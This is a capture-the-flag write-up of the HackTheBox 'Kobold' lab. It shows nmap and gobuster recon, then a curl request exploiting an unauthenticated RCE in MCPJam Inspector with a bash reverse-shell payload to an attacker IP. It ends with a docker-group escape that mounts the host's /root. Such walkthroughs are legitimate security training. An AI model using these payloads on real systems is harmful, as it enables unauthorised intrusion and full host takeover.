HackTheBox - Kobold

Updated 29-03-2026

A Linux machine hosting several internal services across subdomains — a vulnerable management tool hands over an initial foothold, and a misconfigured group permission opens the door to a straightforward Docker escape.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$ ip=10.129.13.220; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 02:49 -0400
Nmap scan report for 10.129.13.220
Host is up (0.18s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.24.0 (Ubuntu)
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Sun, 22 Mar 2026 06:48:33 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_ <link rel="modu
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.10 seconds

Three ports of interest:

  • 80/tcp and 443/tcp — nginx redirecting to kobold.htb; the SSL certificate covers a wildcard *.kobold.htb, signalling multiple subdomains
  • 3552/tcp — a Go HTTP server running Arcane v1.13.0, a Docker management application

Foothold

Hosts File

1
$ echo '10.129.13.220 kobold.htb' | sudo tee -a /etc/hosts

Subdomain Enumeration

The wildcard certificate makes subdomain enumeration worthwhile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gobuster vhost -u https://kobold.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -t 500 -k
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://kobold.htb
[+] Method: GET
[+] Threads: 500
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
mcp.kobold.htb Status: 200 [Size: 466]
bin.kobold.htb Status: 200 [Size: 24402]
Progress: 114442 / 114442 (100.00%)
===============================================================
Finished
===============================================================

Add both subdomains:

1
$ echo '10.129.13.220 bin.kobold.htb mcp.kobold.htb' | sudo tee -a /etc/hosts

Investigating the subdomains:

  • https://bin.kobold.htbPrivateBin v2.0.2
  • https://mcp.kobold.htbMCPJam Inspector v1.4.2

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE

MCPJam Inspector v1.4.2 is affected by CVE-2026-23744, a critical unauthenticated RCE vulnerability. The /api/mcp/connect endpoint accepts a JSON payload that specifies a server command to execute, with no authentication required.

Start a listener:

1
$ nc -lnvp 4444

Send the crafted POST request to trigger a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl https://mcp.kobold.htb/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{
"serverConfig": {
"command": "bash",
"args": [
"-c",
"bash -i >& /dev/tcp/10.10.16.27/4444 0>&1"
],
"env": {}
},
"serverId": "reverse-shell"
}'

A shell connects as ben:

1
2
3
4
5
<--SNIP-->
connect to [10.10.16.27] from (UNKNOWN) [10.129.13.220] 57902
bash: cannot set terminal process group (1541): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$

The user flag is accessible from here.

Privilege Escalation

Docker Escape via operator Group

Check group membership:

1
2
ben@kobold:/privatebin-data$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

ben is a member of the operator group. Using newgrp docker activates the docker group in the current session, granting access to the Docker socket:

1
2
3
4
ben@kobold:/privatebin-data$ newgrp docker

ben@kobold:/privatebin-data$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Confirm Docker access:

1
2
3
ben@kobold:/privatebin-data$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 4 weeks ago Up 2 hours 127.0.0.1:8080->8080/tcp bin

Upgrade the shell first:

1
ben@kobold:/privatebin-data$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Spin up a new container using the existing privatebin image and mount the host’s /root directory into it. Since Docker runs as root on the host, any mounted path is accessible inside the container regardless of host filesystem permissions:

1
ben@kobold:/privatebin-data$ docker run -v /root:/host-root --name mycontainer -d privatebin/nginx-fpm-alpine:2.0.2

Drop into the container as root:

1
ben@kobold:/privatebin-data$ docker exec -it -u root mycontainer /bin/sh

The host’s /root is now accessible at /host-root inside the container:

1
2
3
4
5
/var/www # cd /host-root
/host-root # ls -l
-rwxr-xr-x 1 root root 89313464 Jan 15 01:05 arcane_linux_amd64
drwxr-xr-x 3 root root 4096 Mar 22 06:44 data
-rw-r----- 1 root root 33 Mar 22 06:45 root.txt